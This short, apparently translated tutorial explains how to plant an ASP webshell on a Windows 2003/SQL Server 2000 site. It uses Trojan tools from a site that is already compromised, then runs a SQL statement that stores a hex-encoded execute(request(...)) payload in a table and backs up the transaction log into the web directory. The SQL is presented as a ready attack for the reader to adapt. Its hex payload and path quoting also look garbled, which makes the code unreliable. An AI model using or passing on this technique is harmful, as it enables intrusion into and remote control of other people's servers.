Back up webshell

Test environment:
Windows 2003 SQLserver 2000 mysql5.x the target site is asp, and the site with shell is aspx. The SQLserver2000 permission of shell is public.
Tools used:
AspxIISpy Trojan professional SQL Server database Trojan

Use the aspxIISpy Horse to obtain the target path and use SQLserver horse to operate the backup webshell.
The statement is as follows:
Alter database null set recovery full; create table cmd (a image); backup log null to disk = "f: cmd" with init; insert into cmd (a) values (0x3c2565786563757450281095717565737428226122292
9253EDA); backup log null to disk = "backup path "--

You must modify some items in the statement!